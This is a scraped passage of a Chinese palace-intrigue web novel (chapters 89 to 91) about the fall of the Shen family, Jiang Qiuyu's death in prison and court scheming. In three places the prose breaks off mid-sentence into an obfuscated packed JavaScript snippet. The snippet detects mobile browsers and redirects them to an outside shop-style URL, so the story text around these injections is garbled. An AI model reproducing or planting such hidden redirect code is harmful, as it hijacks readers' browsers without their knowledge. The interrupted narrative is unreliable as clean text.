此话让殿内的父子两又是一惊,方承尧沉默了许久,看向苏映婷,喃喃道:“你倒是安静地走了,为何不带我一起呢?” 这话倒是把康公公吓了一跳,康公公正要上前劝慰,就见方承尧缓缓起身了,康公公急忙上前扶着因坐得太久而腿脚麻痹的方承尧,方承尧站在原地等了片刻,便倚着康公公往殿外走去。 方景渝抬头看向他们离开的背影,像是两个蹒跚的老人,他眉头紧皱,又看向苏映婷,“阿娘,我该怎么做才能救阿月?镇北侯死了,她该有多伤心?阿娘!我好想你!” 方承尧和方景泽离开后,跪在殿外的阿皎急忙起身,摇摇晃晃地朝殿内而去。 待方承尧到大殿时,见诸位大臣已经在殿中等了多时了,他立即抬眼看向了队伍中的方景泽,随后神色渐渐暗淡,轻叹了一口气,便由着康公公搀扶着坐上了龙椅,诸位大臣一见方承尧来都自觉噤声,一道行礼问候。 方承尧摆了摆手,随后道:“前去缉拿沈海的人呢?” 很快那位前去传旨的公公进了大殿,走到殿中时一见上方龙椅上的方承尧就跪了下来,哆哆嗦嗦道:“圣上!奴婢也不知从哪来的一群盗贼,各个武艺高强,见人就杀,士兵们奋力抵抗,还是没能抵挡住,丢了犯人!还望圣上恕罪!” 从哪来的盗贼?方承尧和底下的诸位大臣心中都有一个答案,只是这答案让方承尧只觉得十分头痛,他抬头看向下方,忽然问道:“中书令呢?” 这时邵盛才匆匆赶来,满头大汗,疾步上前请罪道:“圣上!臣接到尚书令的消息便急着要赶来,只是臣的父亲忽然身体不适,臣只得等了医者看过父亲后才急忙赶来,还望圣上恕罪!” 方承尧闻言,身子前倾,问道:“邵国公怎么了?” 邵盛答道:“多谢圣上关心!许是下人伺候得不好,有些着凉了,现已让医者开了方子。” 方承尧又坐了回去,“那就好!” 说着正要让邵盛起来,就听见殿外传来通报:大理寺卿求见。 方承尧让邵盛起来又传那人进殿,只见大理寺卿带着一位狱卒打扮的人一道进了大殿中,“微臣参见圣上!” 方承尧问道:“何事?” 这位大理寺卿回头看了一眼跪着的狱卒,答道:“回圣上,犯人阿月在狱中自尽了!” 众人闻言一惊,方景泽盯着那位大理寺卿,又转头看向邵盛,见他似乎并不惊讶,于是暗自思忖了片刻。陆柏和陆远见方景泽没有说话,便也沉默着看着。 方承尧惊道:“你说什么?” 大理寺卿又答道:“今早狱卒照例前去送饭,发现阿月自尽于监狱中,臣知道这阿月乃是重犯,不敢耽搁 ,于是立即前来禀告圣上,听闻这个阿月是犯人江秋妤养大的,许是这阿月觉得是自己害了沈家,害了江秋妤,想以死谢罪吧!” 方承尧一点一点坐了回去,目光缓缓扫过底下的方景泽、邵盛、陆柏,又看向其他人,最后闭上了眼,摇了摇头。 这时一直没有说话的杜泉上前道:“圣上,阿月死得蹊跷,若真是心中有愧,刚抓进去时为何不自尽,非要等到现在?” 方承尧心中已有了答案,他抬头看向方景泽,方景泽却没回避他的目光,倒是邵盛冷笑道:“刚抓进去时想必是还想着逃脱,现在沈海就要进京了,才觉得没有退路了,就自尽了!这有什么蹊跷的?” 杜泉道:“可现在镇北侯遇刺身亡,杞国使者也趁机离开,沈家通敌是不是真还很难说……” 邵盛急忙道:“有何难说?那杞国使者可是当着众人的面指认的阿月!” 杜泉道:“既如此他们为何要连夜出城?这一切分明就是杞国的一场阴谋!” 邵盛冷哼一声道:“那你的意思是什么?放了沈家?” 杜泉看向方承尧道:“臣以为这一整件事都十分可疑,应当彻查!包括阿月之死!” 邵盛闻言又看了一眼一旁的方景泽,若是真让他们去查,岂不是让陆家占了便宜,于是他道:“臣现在想想,觉得杜侍中说得有理,杞国对我们一直虎视眈眈,说不定这一切都是杞国在使诈!” 方承尧转头看向方景泽,方景泽瞟了一眼跪着的大理寺卿,连大理寺卿都能收买,想必狱中早已处理干净了,既然也查不出什么,便没有必要打草惊蛇,于是上前道:“回圣上!臣以为杜侍中说得对,但无风不起浪,沈家和杞国或是因合作不成相互算计也有可能,不然为何这沈安宁第一回进京就能抓出杞国奸细和杞国世子?” 陆柏陆远父子一听方景泽的话,也上前附和。 方承尧揉了揉太阳穴道:“那你说该如何处置沈家母女?” 方景泽道:“应当打入教坊司!” 方承尧看了一眼杜泉,见他没再言语,便摆了摆手,“就按你说的办吧!” 说着方承尧又问:“还有什么事吗?没有就都退下吧!” 诸位大臣正要行礼恭送方承尧,就听见殿外传来,“北边紧急军报!” 方承尧正要踏出的步子一顿,急忙要那士兵进来,士兵进殿后正要跪拜,方承尧急忙道:“北边发生了何事?” 士兵将手中的信件递上,又回道:“杞国发动奇袭,赤州城失守,钱将军和赵将军殉职!” 众人闻言皆是一惊,陆柏顾不得许多,急忙问道:“陆元帅呢?” 士兵回头看了陆柏一眼,结结巴巴道:“陆元帅……带着大军撤离了赤州,现在安顿在池州城内。” 方承尧拿着信件的手不停地颤抖,康公公担心地上前,方承尧突然喷出了一口血,竟晕了过去,众人都吓坏了,乱哄哄将方承尧送回了他的寝殿,又拉了一帮医师前来,忙活到了深夜,方承尧才有些好转,方景泽让诸位大臣回去,自己则守在方承尧的寝殿中。 另一边的方景淮是在府中听到下人说起沈海遇难的消息,便急忙出门要去找杜泉,还未出府门就撞到了派出去打听消息的侍从,侍从喘着大气道:“殿……殿下……,沈姑娘……她们被送到了……教坊司!” 方景淮一愣,立即回头叫来管家,命他将府中值钱都找出来,换成银钱,梁妈妈见他匆匆忙忙,又听了刚刚侍从的话,便明白了,也帮着一道处理着府中值钱的物件。 等方景淮带着银钱准备出门时,撞见了一道前来的方昭浅和叶云舒,二人正要来告知他沈安宁入教坊司一事,一听方景淮正是要去教坊司,便也不再耽搁,等方景淮找到了教坊司管事的,提出要将沈家两人买下时,却得知两人已早一步被其他人买去,方景淮忙问买主是谁,因是派府中小厮前来,因此管事的也不知是谁。 难道是杜泉?方景淮摇了摇头,他定不会这么光明正大的掺和进来,那会是谁?方景淮想不了这么多,现在最重要的将沈安宁接出来,于是他拔腿跑向大理寺。 大狱中的沈安宁抱着江秋妤,正喊着让人去请医者,一直没人回应她,这时忽然来了两个狱卒,“嚷嚷什么!你们马上就能出去了!别吵了!” 沈安宁一愣,“出去?” 狱卒笑道:“你还不知道,你们要被送去教坊司了!” 江秋妤抓着牢门问道:“那侯爷呢?侯爷……在哪?” 狱卒闻言互相看了一眼,才又转向她们,嘲讽道:“侯爷?什么侯爷?人都死了!” 江秋妤和沈安宁皆是一惊,沈安宁很快反应过来,担心地拉着江秋妤,狱卒见她们不吵了,便转身离开了,“别吵了!待会就有人来接你们了!” 江秋妤感觉胸口像是堵住了,只能进气不能出气了,沈安宁见状急忙扶起江秋妤,抚摸着她的背为她顺气,可情况未有好转,沈安宁有点慌了,她双眸已蓄满了泪水,心已被害怕占据,却好像怎么也喊不出来,她用力拍着牢门,用进全身力气终于喊了出来,“快来人啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954783|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !救命啊!救救我阿娘!快来人啊……” 江秋妤倒在了沈安宁怀中,四肢有些抽搐,沈安宁一手抱着江秋妤,一手用力拍着牢门叫喊着,却久久没人回应。 江秋妤睁着眼睛看着沈安宁脸上的泪珠,她想抬手去替她擦掉,想告诉她不必伤心,也想告诉她不要害怕,颤抖的手却停在了半空中,沈安宁见状,脑中忽然一片空白,手不听使唤地要去抓住江秋妤停在空中的手,却抓了空,江秋妤的手重重落下,晃了晃后停在了身前,跟着一道停止的还有她的呼吸。 沈安宁好像忘了哭,但大颗的泪珠从眼中落下,让她有些看不清眼前的江秋妤,她抱着江秋妤摇了摇,小声唤道:“阿娘?阿娘?” 每叫一声,她的心就跟着沉下一寸,直到最后心已沉到了底,她抱着江秋妤一边大声哭着,一边叫喊着:“有没有人啊!求求你们救救我阿娘!求求你们……” 方景淮一路跑向大理寺大狱,却被狱卒拦在了外面,他想了想,搬出了方景泽来,说是要押两人去教坊司,狱卒虽疑惑为何要一个皇子来押送,可碍于对方皇子的身份也不敢再多猜忌,只得让他进去。 狱卒一路带着方景淮往沈安宁所在之地而去,方景淮却等不及他疾步走到了他前方,狱卒正疑惑方景淮为何这么熟悉牢房时,就见前方的方景淮忽然一顿,狱卒也跟着停了下来,一时安静下来后听见了不远处传来的声音,“来人啊……求求你们救救我阿娘……” 狱卒还未反应过来,方景淮已是跑了过去,他在远处就看见沈安宁抱着一人坐在地上,另一只手还一直不停地拍打着牢门,方景淮急忙跑上前趴在牢门上,“阿宁!” 这时方景淮才看清沈安宁怀中的人,正是脸色惨白的江秋妤,方景淮朝身后的狱卒道:“还不快开门!” 狱卒瞄了一眼沈安宁和江秋妤,才拿出了钥匙开了门,方景淮一把将牢门推开,就上前蹲在沈安宁面前,伸手试探了下江秋妤的鼻息,抬头见沈安宁满脸泪痕,看着沈安宁那只因为拍打牢门而已红肿的手,便拉了过来以阻止她再继续拍打。 沈安宁似乎这才发觉前方来了人,缓缓抬起了头看去,道:“救救我阿娘……” 方景淮看着心疼不已,一把抱住了她,轻轻拍着沈安宁的背安抚道:“我们这就出去,离开这里!” 许久后,沈安宁像是清醒了过来,看了一眼抱着着自己的方景淮,方景淮也察觉到了,便缓缓放开了沈安宁,方景淮垂眸道:“镇北侯的事……你都知道了?” 沈安宁低头看着怀中的江秋妤,声音十分沙哑,道:“先出去吧!” 方景淮点了点头,正要去扶沈安宁起身,沈安宁已是蹲下身将江秋妤背上,由于坐得太久,刚起身时有些踉跄,方景淮急忙扶着,两人就这样走出了大狱。 虽有了几片乌云让外头暗了许多,但沈安宁还是被许久未见的日光刺了眼,方景淮立即伸手挡在她眉前,沈安宁侧头睁眼看了他一眼,见沈安宁适应了日光,方景淮才将手放下,两人就这样走在长长的夹道中。 乌云滚滚,一路上人们对于沈安宁背着一个不知是死是活的人指指点点,议论纷纷,忽然传来雷声阵阵,众人便冒着大风往各自家中赶去,沈安宁和方景淮像是没听见周遭的声音一般,只安心走自己的路,两人到了镇北侯府时,沈安宁停在了门口,看着那个沈府的牌匾已经被拆了下来,门口也正是一片狼藉。 两人正要进去,就见从府中出来了两人,那两人匆匆忙忙,年长那位男子正侧头和身后年纪较小那人说着什么,忽然年纪较小那人看见了门口的沈安宁和方景淮,便停住了脚步,道:“阿爹!” 年长那人闻言跟随他的目光看去,一眼就看见了沈安宁背上的江秋妤,顿时睁大了眼睛,急匆匆上前,方景淮拦在沈安宁面前,那年长的男子却没看一眼方景淮,而是就这样朝沈安宁道:“你是阿宁吧!” 沈安宁抬头看向他,那男子又接道:“阿宁,你怎么自己出来了?我和阿鸣一接到信就快马加鞭赶来了!刚到洛京就听见你和阿妤被打入教坊司一事,便急忙找了些人打听,又去教坊司将你们赎出来,正要去接你们,就遇见了李将军和张将军,这不,才将他们安顿好!你没事就好!你背着的是阿妤吗?她怎么了?” 方景淮见此人说了许多,像是沈安宁熟识的人,便缓缓让开了,沈安宁抬头盯着那人看了许久,才缓缓道:“舅舅?” 90. 第九十章 回府 “舅舅?” 沈安宁的话让方景淮一愣,转头看向眼前那个年长的男子,那人身量较沈海差不多,只是腰要比沈海宽上一圈,手中带着一只玉扳指。 江冬屹看着眼前这个和自己妹妹有着相似面容的外甥女,因北方多战,沈海夫妇常年驻守在赤州,他也只有沈安宁满月时前去赤州见过她一面,此后便从未见过,此时再见她却满脸泪痕,双目红肿,江冬屹眉头紧皱道:“让你们受苦了!” 说着江冬屹又看着沈安宁背上的江秋妤,“阿妤怎么了?” 沈安宁闻言,眼前又开始变得模糊,江冬屹见状,双目睁大,似乎是看明白了又似乎是不明白,只盯着沈安宁背上的江秋妤。 这时江时鸣道:“阿爹,先让阿宁带姑母进去吧!” 江冬屹抽了抽鼻子,道:“对!先进去吧!李将军、张将军还有……都在!” 沈安宁一听,便明白了他说得谁,一行人往府中走去,府中各处也都是乱糟糟的,没了往日的干净整洁,沈安宁、方景淮几人一路到了正厅中,沈安宁刚一进来就看见了一口黑漆漆的棺材,饶是早就已经知道了,也还是忍不住鼻头一阵发酸。 正厅中只有张千和李万,张千最先发现来了人,他坐在一张带着两只轮子的坐椅上,朝厅外喊道:“阿宁?” 李万的右手被吊在了脖子上,闻声回头看向厅外,沈安宁正背着江秋妤走了进来。 张千见沈安宁盯着自己的腿和李万的手,于是安慰道:“我们没事,你不用担心!” 又见沈安宁背上背着江秋妤,问道:“大嫂怎么了?” 沈安宁眼中的泪珠夺框而出,张千和李万见状,都明白了过来,这时方景淮不知从哪搬来了一张贵妃塌,放在了厅中那口棺材的旁边,又看向沈安宁。 沈安宁走了过去将背上的江秋妤放下,缓缓扶着江秋妤躺下,伸手替江秋妤整理了额前的碎发,江冬屹不忍再看,背过了身去。 江时鸣见状,担忧道:“阿爹?” 江冬屹抽了抽鼻子,并未回头,只是摆了摆了手。 沈安宁忽然抬手一擦脸上的泪水,起身朝外走去,张千忙问道:“阿宁?” 沈安宁并未回头,声音有些颤抖,道:“还有一个!” 说着沈安宁便往外走去,方景淮见状也跟了上去,江冬屹虽不知她说的是什么,但见她这时往外走,定是有重要的事,于是朝江时鸣道:“你跟去看看,帮着她点!” 江时鸣闻言也跟了出去,沈安宁一路朝城外的乱葬岗走去,到了乱葬岗时天已黑得像是黑夜降临一般,云层低垂,压得人有些透不过气。 沈安宁一到乱葬岗就开始四处翻找,方景淮见状也已明白她是在找什么,倒是身后的江时鸣一脸疑惑,见方景淮也要前去翻找时一把拉住了方景淮,他虽不认识此人,但见他送沈安宁回沈府以及一道前来这里,想来必是沈安宁信得过的人,问道:“这是在找什么?” 方景淮轻叹了口气道:“阿月。” 江时鸣并不认识阿月是何人,正要再问就见方景淮已经朝沈安宁不同方向开始翻找了,江时鸣看向这满地的尸体,有些甚至残缺不全,有些犯恶心,但见沈安宁的神情,于是想着这个阿月估计是个和沈安宁差不多大的姑娘,便也上前去翻找。 一声闷雷响起,沈安宁似乎没听见,只顾专心的翻找,猛然下起了大雨,雨水并未带来凉爽,反而让空中更加闷热,江时鸣有些受不住,抬起头来正要出声,又见沈安宁和方景淮似乎并未受大雨的影响,他便也只得将话语压回了肚中。 大雨冲刷了四周,沈安宁忽然见到一只雪白的手,手得主人正被压在几具尸体之下,沈安宁迅速跑了过去将上面的几具尸体推开,阿月的脸顿时就出现在眼前,雨水冲掉了她脸上的污泥,沈安宁盯着眼前的人,雨水从她脸上流下,已是分不清是雨还是泪了。 方景淮和江时鸣也发现了沈安宁这边的状况,两人都靠了过来,沈安宁想背起阿月,奈何雨水像是推着阿月躺倒地上一般,让沈安宁十分吃力,方景淮上前道:“让我来吧!” 沈安宁道:“我要亲自接她回去!” 方景淮和江时鸣见状,上前帮着沈安宁背起阿月,一行人很快回到了沈府,江时鸣小跑了几步找来了又一张贵妃塌,沈安宁将阿月放下。 张千和李万是认识阿月的,也是看着阿月长大的,只是对于阿月的身份他们也是这回才知道,一时不知该怎么看她。 江冬屹并不认识阿月,正要问时,就听见江时鸣道:“阿宁,你先去换身衣服吧!别着凉了!” 说着才想起还有一个方景淮,他回头看去,见方景淮站在了一旁的角落处,看上去似乎很冷,他想了想上前道:“还未请教公子贵姓?” 方景淮看着不远处的沈安宁,道:“免贵姓方!” 江时鸣一愣,方是皇姓,此人难道是皇族,但见他似乎冷得厉害,道:“我的身量和公子差不多,公子若是不嫌弃,不妨先换上我的衣物?” 江时鸣见他只看着沈安宁,于是又道:“这里有我阿爹、李将军和张将军在,公子不必担心!” 方景淮这才收了目光,朝江时鸣道了声谢。 张千转着椅子上前来,见沈安宁衣角还滴着水,道:“阿宁,先去换身衣物吧!” 沈安宁抬头见三人都担忧地看着自己,于是点了点头,又看向江冬屹,道:“舅舅,我有一事相求!” 江冬屹闻言道:“阿宁,你有什么事只管说!” 大雨越下越大,天空黑得让人分不清白天还是黑夜,沈安宁一袭白衣,独身一人在屋内替江秋妤和阿月都换好了她们生前最喜爱的衣物,又小心地替江秋妤簪上了那只素银簪子,她拉起阿月的手想要替她擦洗,忽然见她指甲泛蓝,沈安宁仔细检查了一遍,又将她换下的旧衣物翻了出来,在她随身携带的一个小布包中发现了一包被雨水打湿的药粉,沈安宁正要再仔细看时,就听见屋外传来江冬屹的声音。 “阿宁!” 沈安宁将药包收好,回头道:“进来吧!” 江冬屹这才推开门走了进来,跟他一道进来的还有吕叔和晴云,晴云一见躺在塌上的江秋妤和阿月就上前跪到了江秋妤身旁,眼泪不停的流,吕叔也拉起袖子擦了擦眼角。 江冬屹将一包东西给了沈安宁,道:“这是当时抄家时拿走的东西,我将你要的买了回来,沈家原来的下人我也都按你说的买了下来,替他们改了奴籍,给了些银钱让他们离开了,吕管家和晴云不愿离开,我就将他们带回来了!” 晴云抬头抽泣道:“小姐,我哪也不去,我自小就跟着夫人……夫人她不在了,我以后就跟着你!” 吕管家也道:“是啊!小姐!我也算看着侯爷长大的,镇北侯府就是我的家,以后我就跟着你!” 沈安宁垂眸道:“已经没有镇北侯府了!” 顿了顿,沈安宁又道:“你们若是不愿离去,就先留下!到时候就跟着舅舅去陵州吧!” 晴云起身上前道:“我哪也不去!小姐在哪我就在哪!” “小姐!就让我们留下吧!现在府中一切也需要人打理!我们就愿跟着你!” 江冬屹见两人都这般说,也向沈安宁道:“阿宁,不如就让他们留下吧!” 沈安宁抬头看了他们片刻,点了点头。 吕管家擦了擦眼泪,道:“那小姐我就先去看看府中,尽快将府中收拾好,好给侯爷和夫人……设灵堂。” 沈安宁道了声谢,吕管家便转身离开了,江冬屹叹了口气,也转身离开了,晴云看着沈安宁将手中的包裹打开,里面都是些沈安宁小时候的玩具,这些都是江秋妤和沈海等人为她做的,她翻了翻,找出了两只盒子,将其中一只盒子打开,里面是一只三色翡翠玉镯。 晴云一见这只玉镯就哭了出来,沈安宁拿出玉镯替阿月带上,又将另一只盒子打开,拿出了那只同阿月手中一模一样的玉镯看了许久,最后带在了江秋妤手上。 雨渐渐小了很多,换好了衣物的方景淮还是有些冷,他拢了拢衣衫便要去看沈安宁,还未到正厅就发觉头有些晕,忽然一只手扶住了自己,方景淮回头看去。 叶云舒见方景淮有些异常,就扶着他坐到了一旁的吴王靠上,替他把脉,又见他看着自己,于是主动道:“我见你出去了一整天没回府,想来是送沈姑娘回沈府了,时辰有些晚了,四公主就先回宫了,我想来看看江夫人,大狱艰苦,况且镇北侯身亡,她身上有旧疾,受不得刺激,我到门口时见外面没人,就先进来了!” 说着眉头紧皱,“你淋雨了?” 方景淮道:“没事!” 叶云舒急道:“你明知道你的身子和寻常人不同,应当更加珍惜,怎么……” 说到这,叶云舒才发觉自己失了分寸,方景淮却明白,他知道叶云舒一直想解开自己身上和淑妃身上的毒,可淑妃如今离世了她却还没能想出解毒的法子,让叶云舒心中很是内疚,其实这都不是她该背负的。 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方景淮拿了一只碗给沈安宁盛了一碗,放在了沈安宁面前,“快尝尝!” 沈安宁抬头看了他一眼,才端起眼前的鱼汤喝了一口,方景淮见状笑了笑,第一次在福星楼见到沈安宁,就见她只吃那道鱼,所以刚刚才想起做一锅鱼汤,看来她确实喜欢吃鱼。 厅外的众人见一天没吃东西的沈安宁终于吃了,也就放下了心,突然江冬屹问道:“这是何人?今天一直在帮忙,可是阿宁的好友?” 江时鸣看向父亲,道:“这位公子……姓方。” 江冬屹一愣,“方?那不是……” 李万也有些疑惑,他从未见过方景淮,闻言转头看向张千,张千讪讪地笑了笑,就转着椅子往外走去,剩下的几人朝沈安宁和方景淮看了看,也跟着张千离开了。 方景淮看着沈安宁喝了几口就放下了碗,正要询问,就见沈安宁拿过另一只碗盛了一碗放到了他的面前,方景淮见状笑着端起了面前的鱼汤喝了口。 “你会不会怪我?” 沈安宁闻言抬头看向方景淮,方景淮放下了碗,看向那边的沈海,才接着道:“你交代我的事,我没办好!” “不是你的错!” 方景淮回过头,盯着沈安宁的侧颜,安静了片刻,“接下来,你有什么打算?” 沈安宁放下了碗,目光逐渐冰冷,“我曾想过有一日我和阿爹可能都会死在战场上,为国尽忠,却未曾想过阿爹会死在自己人之手,阿爹阿娘不能就这样死得不明不白,我要查清楚整件事,阿爹绝不会做通敌卖国之事,我要还沈家一个清白!” 方景淮看着她坚定的目光,道:“那你答应我,一定要保护好自己!” 沈安宁一愣,抬头看他,见他唇色苍白,今日穿得似乎也不像他往常衣物,才想起今日他陪自己去找阿月淋了雨,上次只下水抓了鱼就生了病,这回还淋了这么久的雨,“你没事吧?” 方景淮抬头道:“没事,你不用担心我!” 说完方景淮便起身收拾吃完的锅碗,“既然如此,那让我留下来帮你吧!” 沈安宁盯着他看了看,忽然起身接住了方景淮倒下的身体,两人一道坐到了地上,沈安宁慌道:“方景淮!方景淮!” 沈安宁急忙朝外喊着晴云,晴云很快就出现了,一见倒下的方景淮正要询问就听沈安宁道:“快去请叶姑娘!” 晴云听后慌慌张张地的朝外跑去。 91. 第九十一章 警告 张千李万等人也听见了这边动静,急忙跑了过来,一边问着是什么情况一边帮沈安宁将方景淮送到了厢房,沈安宁坐在床边,拉着方景淮的手替他把脉。 一旁的张千看出了她的慌乱,正要上前去安慰她几句,就听见门口传来晴云的声音,“叶姑娘来了!” 沈安宁闻声,便立即起身让叶云舒来看看,叶云舒上前放下药箱,替方景淮把了一会脉,回过头看向沈安宁时见她眼中满是担忧,叶云舒想起方景淮说得先不告诉她,于是道:“只是淋了雨有些发热,我先为他施针退热。”说着叶云舒从药箱中拿出了一包药,“我拿了些药,待会煎好后喂他喝下,过了今夜出了汗就没事了!” 晴云上前接过了药,朝沈安宁示意后就转身去厨房煎药了,沈安宁盯着叶云舒为方景淮施针,张千李万等人这才退了出来。 屋外的江冬屹朝张千严肃道:“这个方公子究竟是何人?他和阿宁……” 李万也看向张千,张千摇了摇头道:“怎么都看向我?我怎么知道?你们去问阿宁啊!” 江冬屹看向屋内沈安宁的神情,没有再说话。 等叶云舒施了针后,药也煎好了,沈安宁把药给方景淮喂了下去,看着方景淮睡梦中依然紧皱的眉头,叶云舒和晴云退了出去,叶云舒提起要去看看江秋妤,晴云听后忍不住抽泣道:“夫人……夫人没了!” 叶云舒一愣,回过头看向厢房,沉默了片刻才道:“带我去看看江夫人吧!” 晴云引着叶云舒朝灵堂走去。 厢房内的沈安宁看着昏睡中的方景淮,心头慢慢爬上了江秋妤在她怀中渐渐没了体温的那种无力,她开始有些恐惧,这几日萦绕在她身上的慌乱又涌了上来,她上前拉起方景淮的手,感受到方景淮手掌传来的温暖,才让她的心安下了许多。 江冬屹见沈安宁在厢房久久未曾出来,于是前去找她,在厢房门口时见门没关便准备直接进去,忽然见沈安宁趴在床边睡着了。 前来找父亲的江时鸣见父亲立在厢房门口,便上前看了看,低声道:“我看这个方公子对阿宁来说非同一般,看来阿宁未必会跟我们离开。” 江冬屹又看了一眼沈安宁,随后就要上前去,忽然被身后不知何时出现的张千拉住了。 张千眼神示意他们跟自己走,便要往回走,见父子两没有跟上,又拉了拉江冬屹,江冬屹见状便冷着脸跟他走了。到了院外,江冬屹气愤道:“你干什么?且不说那人身份,就是寻常人家的公子,这要传出去阿宁还……” 江冬屹顿了顿,又道:“阿妤就这一个骨肉,这回我是一定要将阿宁带回陵州的,将来她是嫁人也好不嫁人也好,都由我江府照管,你和李将军将来若是想她可以来陵州看她,但别得就别想了!” 张千坐在椅上,抬头看着他说了一通,最后道:“那你可有问过阿宁的想法?” 江冬屹看了一眼厢房的方向,最后甩袖离开了,江时鸣见状朝张千行了一礼也离开了。 这夜很是漫长,已是五月初了,夜里却还是冷得让人打了个寒颤,方承尧寝殿外的宫人低着头瞟了一眼一旁的人,见人人都低着头,没人注意到自己的动作,才又安静地站好。 寝殿内方景泽坐在龙床旁,替方承尧擦拭着他额头不停冒出的冷汗,看着睡梦还依旧眉头紧锁的方承尧,他鬓边的几丝白发映入了方景泽的眼帘,方景泽盯着那那几丝白话看了许久,正要伸手去碰白发时,方承尧突然惊醒,大喊道:“阿爹……阿爹饶命!大哥……阿爹!” 方承尧的叫喊声引来了康公公和几个宫人,几位在殿外等着的医师也迅速跑了过来,方景泽一愣,随即起身替方承尧顺了顺气,才回头吩咐道:“圣上醒了!快来看看!” 方承尧正迷糊中,医师们立即上前查看了一番,最后确定方承尧确实没事了,才一道出去商量药方,方承尧倚着床边想要坐起,方景泽急忙上前扶他,方承尧问道:“北边……怎么样了?” 方景泽答道:“已经派人快马加鞭前去查看情况了!” 方承尧朝康公公道:“快叫诸位大臣前来商议!” 康公公道:“圣上,北方之事确实重要,可圣上的圣体也同样重要啊!” 方承尧摇了摇头道:“要是姜国毁在我手上,我将来该怎么去见阿爹!你快去!” 康公公担忧地看了方承尧一眼,便转身离去了。 方承尧仰头靠在床边,命人让外面来看自己的邵贵妃、德妃、皇子公主们都离开,才沉默着闭着眼不知在想什么,过了不久,诸位大臣都赶了过来,方承尧寝殿的烛光一直燃到了东边有霞光出现,依旧没商量出什么有用的法子。 方承尧看着诸位大臣的倦容,挥了挥手道:“罢了!你们先下去吧!容朕再想想!” 大臣们行礼退下,方景泽看着方承尧疲惫的面容,又见康公公扶着方承尧躺下了,才朝方承尧行了一礼出了寝殿,方景泽却没立即离开,而是在寝殿外等了会,等到了康公公出现后上前嘱咐了几句才离开。 忙活了一夜的方景泽也很是疲倦,一路往宫门口而去,途中遇见了不少前来吊唁淑妃的王公大臣家的妻女,忽然见一人的目光看向自己,方景泽却只顿了顿,随后换了个方向走去,到一处僻静的假山旁时仔细看了一眼周遭。 很快一位步伐有些急促的少女走来,方景泽并未回头,只冷冷道:“谁允许你自作主张的?” 邵暮闻言一愣,明白了他说得正是自己去大狱一事,便道:“我这可是在帮你,邵家这么大的把柄落在你手上,我以为你会明白的!” 方景泽冷笑一声,“本王原以为邵小姐有些脑子,却没想到本王也有看走眼的一天!” 说着方景泽回过身来,见邵暮一侧脸上有些红肿,眼中却没半分涟漪,只接着道:“本王不喜欢和愚蠢又没有用的人打交道!你好自为之吧!” 说着方景泽甩袖离开,留邵暮一人在原地,邵暮原想这一趟既可以报了自己被羞辱之仇,又特意拉了邵晨前去,让邵家不得不参与其中,给方景泽留了这么大的把柄,他却丝毫不领情。 邵暮十分气愤,忽然转念一想,自己既然已经选择了方景泽,可方景泽却始终态度不明,这种被人掌控的感觉让邵暮心中满是愤懑,她正想着该如何时,身后突然传来声响,邵暮立即向后看去,原来是一个宫女,邵暮警惕着看着那人。 宫女见状上前道:“邵姑娘!我是凝黛宫的宫人银杏!” 说着银杏上前将手一展,手中是一只十分华丽的耳环,“贵妃娘娘掉了只耳环,我正在假山旁帮娘娘找,就见魏王殿下来了,本要出来行礼,又见姑娘前来,于是不敢出来!还望姑娘见谅!” 邵暮打量着眼前的银杏,眼中慢慢爬上了阴冷,“你既然听见了,便也明白魏王的手段,若是不想死的话,今日之事你最好管好你的嘴!” 银杏心中思量了片刻,道:“今日之事我不会说出去的,只是……”银杏顿了顿,道:“我自幼在宫中长大,对宫中之事也算有几分了解,我想邵姑娘是个聪明人,多一个帮手总好过多一桩冤魂要来的好!” 邵暮暗自思忖片刻,道:“你只不过是一个小小的宫女,我为何要信你?” 银杏道:“那不如我拿一个消息送与邵姑娘,邵姑娘先听听怎么样?” 邵暮下巴微微抬起,盯着银杏道:“说来听听!” 银杏上前道:“听宫中的公公们说起魏王殿下有一个红颜知己在长乐坊,魏王时常会去看她。” 说完银杏还笑着看向邵暮,邵暮见那目光,像是指着自己去与一个妓女争宠,心中满是鄙夷,却又想,这方景泽难道是有旁得人助他?想到这,邵暮道:“你一个宫女,胆敢打听魏王的事?” 银杏道:“我只不过想寻一处庇佑罢了!” 邵暮冷哼一声,“人往高处走,这本就是寻常……只是若动了不该有的心思,你在宫中这么久,会是何下场?应该是比我更明白的!” 银杏应下后还欲再说,忽然传来山桃的声音,“小姐!” 邵暮看了一眼银杏,便转身朝山桃走去,银杏也转身离开。 出宫后坐上马车的方景泽闭着眼养神,马车并未往魏王府去,而是去了长乐坊,方景泽下了马车后便直径进去了,长乐坊的妈妈自是认识方景泽,也知道他的喜好,只笑着迎上前道:“殿下今日来得可真不巧,佩娘她刚说要闭门写一首新曲子,殿下这就来了!” 方景泽道:“她在吗?” 妈妈急忙让开道:“在的在的!” 说着方景泽已经朝长乐坊中最安静那一处而去,妈妈似乎早以习惯了,只笑着吩咐了一个小厮送些酒水前去,便继续去招揽生意了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984290|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 